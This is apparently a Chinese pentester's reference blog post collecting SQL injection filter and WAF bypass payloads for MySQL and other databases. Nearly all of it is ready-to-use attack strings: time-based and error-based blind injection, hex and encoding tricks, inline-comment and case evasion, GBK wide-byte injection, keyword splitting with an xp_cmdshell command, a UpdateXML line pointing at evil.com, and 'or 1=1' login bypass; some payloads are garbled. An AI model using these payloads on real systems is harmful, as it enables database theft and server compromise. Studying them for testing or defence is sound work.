今天斗胆来整理一下sql注入的各种绕过姿势,以后方便查阅。SQL注入的绕过技巧有很多,具体的绕过技巧需要看具体的环境,而且很多的绕过方法需要有一个实际的环境,最好是你在渗透测试的过程中遇到的环境,否则如果仅仅是自己凭空想,那显然是不靠谱的。
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
select(user())from dual where(1=1)and(2=2)这种过滤方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23(from for属于逗号绕过下面会有)
上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
select column_name from information_schema.tables where table_name="users"这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1); select mid(database() from 1 for 1);使用join:
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b使用like:
select ascii(mid(user(),1,1))=80 #等价于 select user() like 'r%'对于limit可以使用offset来绕过:
select * from news limit 0,1 # 等价于下面这条SQL语句 select * from news limit 1 offset 0使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。 最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。 那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64使用between and:
between a and b: between 1 and 1; 等价于 =1最后的or '1闭合查询语句的最后的单引号,或者:
id=1' union select 1,2,'3普通注释
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#/**/在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、–+用于终结语句的查询
内联注释
相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容其他
index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3?page_id=null%0A///!50000% 55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用
8. 大小写绕过 大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i 匹配时大小写不敏感便无法绕过,这是最简单的绕过技术
?id=1 UnIon SeLeCt user()#9. 双写绕过 waf将关键字替换为空,没有递归
?id=1 uniunionon seselectlect user()#10.编码绕过 利用urlencode,ascii(char),hex,unicode等编码绕过
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 十六进制编码 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) 双重编码绕过 ?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+ 一些unicode编码举例: 单引号:' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 空白: %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0 左括号(: %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8 右括号): %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a912. in绕过
or '1' IN ('1234')# 可以替代=14. 生僻函数 MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1)) and extractvalue(1, concat(0x5c, (select user()),0x5c))15. 反引号绕过 反引号是个比较特别的字符,可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景
表名
payload:select * from `users` where user_id=1 limit 0,1;可以正常执行的,这样使用还可以起到分隔符的作用,如下
eg:select * from`users`where user_id=1 limit 0,1;起别名
payload:select user_id,user `111111` from users where user_id=1 limit 0,1;反引号注释符原理
上面说了反引号的使用,下面来看看具体是怎么使用来进行绕过SQL检测的
主要用的就是起别名这个,这个运用范围比较窄
如果不闭合反引号,则后面的所有都会成为别名
eg:select 1,2 `111111 from users where user_id=1 limit 0,1;相当于注释的作用的,不过运用条件比较苛刻
16 宽字节绕过 过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
id=-1%df%27union select 1,user(),3--+(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \ ' " \x1a(防御,将mysql设置为gbk即可)
*宽字节绕过只有php版本小于5.4的时候才可以
\N相当于NULL字符
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,018.3. 内联注释绕过
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#18.5. PCRE绕过
union/*'+'a'*1000001+'*/select19. php中常见的waf及绕过 php过滤直接用preg_match(’/(’.waf.’)/i’,$id)
19.1 过滤and or
waf = 'and|or' 过滤代码 1 or 1=1 1 and 1=1 绕过方式 1 || 1=1 1 && 1=119.2 过滤union
waf = 'and|or|union' 过滤代码 union select user,password from users 绕过方式 1 && (select user from users where userid=1)='admin'19.3 过滤where
waf = 'and|or|union|where' 过滤代码 1 && (select user from users where user_id = 1) = 'admin' 绕过方式 1 && (select user from users limit 1) = 'admin'19.4 过滤limit
waf = 'and|or|union|where|limit' 过滤代码 1 && (select user from users limit 1) = 'admin' 绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin19.6 过滤select
waf = 'and|or|union|where|limit|group by|select' 过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1 绕过方式 1 && substr(user,1,1) = 'a'19.7 过滤’(单引号)
waf = 'and|or|union|where|limit|group by|select|\'' 过滤代码 1 && substr(user,1,1) = 'a' 绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)19.8 过滤hex
waf = 'and|or|union|where|limit|group by|select|\'|hex' 过滤代码 1 && substr(user,1,1) = unhex(61) 绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。20. 关键字拆分
'se'+'lec'+'t' %S%E%L%E%C%T 1 1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"') !和()' or --+2=- -!!!'2 id=1+(UnI)(oN)+(SeL)(EcT)21. 万能密钥绕过 用经典的or 1=1判断绕过,如or ‘swords’ =’swords